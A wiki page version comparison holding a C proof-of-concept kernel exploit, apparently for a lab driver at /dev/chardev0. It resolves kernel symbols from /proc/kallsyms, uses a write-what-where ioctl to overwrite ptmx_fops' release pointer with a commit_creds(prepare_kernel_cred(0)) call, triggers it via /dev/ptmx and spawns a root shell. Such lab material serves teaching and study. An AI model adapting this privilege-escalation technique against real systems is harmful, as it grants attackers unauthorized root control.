Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

Code Block
languagecpp
titlepocwww.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include "chardev.h"
 
#define DEVICE_FILE_NAME "/dev/chardev0"

void *(*prepare_kernel_cred)(void *) ;
int (*commit_creds)(void *) ;
unsigned long *ptmx_fops_release;
 
void *kallsym_getaddr(char *name)
{
    FILE *fp;
    void *addr;
    char sym[512];
 
    fp = fopen("/proc/kallsyms", "r");
    while (fscanf(fp, "%p %*c %512s\n", &addr, sym) > 0) {
        if (strcmp(sym, name) == 0) {
            break;
        }else{
	    addr = NULL;
	}
    }
    fclose(fp);
    return addr;
}
 
void get_root()
{
    commit_creds(prepare_kernel_cred(NULL));
}
 
int main()
{
    int fd;
    int ret_val;
    void *ptmx_fops;
    struct ioctl_www_arg arg;
 
    //Find the address of "prepare_kernel_cred()"
    prepare_kernel_cred = kallsym_getaddr("prepare_kernel_cred");
    if(prepare_kernel_cred == 0)
    {
        printf("failed to get prepare_kernel_cred address\n");
        return 0;
    }

    //Find the address of "commit_creds()"
    commit_creds = kallsym_getaddr("commit_creds");
    if(commit_creds == 0)
    {
        printf("failed to get commit_creds address\n");
        return 0;
    }

    printf("prepare_kernel_cred = %p\n", prepare_kernel_cred);
    printf("commit_creds = %p\n", commit_creds);

  
    //Find the address of "static struct file_operations ptmx_fops"
    ptmx_fops = kallsym_getaddr("ptmx_fops");
    printf("ptmx_fops = %p\n", ptmx_fops);
    ptmx_fops_release = ptmx_fops + sizeof(void *) * 13;
 
    fd = open(DEVICE_FILE_NAME, 0);
    if (fd < 0) {
        printf("Can't open device file: %s\n", DEVICE_FILE_NAME);
        return 0;
    }

    //Overwrite the "ptmx_fops → release" area 
    arg.ptr = ptmx_fops_release;
    arg.value = (unsigned long)get_root;
 
    ret_val = ioctl(fd, IOCTL_WWW, &arg);
    if (ret_val < 0) {
        printf("ioctl failed: %d\n", ret_val);
        return 0;
    }
 
    close(fd);
 
    //open /dev/ptmx and call ptmx_fops->release() via close()
    fd = open("/dev/ptmx", 0);
    close(fd);
 
    printf("getuid() = %d\n", getuid());
    execl("/bin/sh", "sh", NULL);
}

...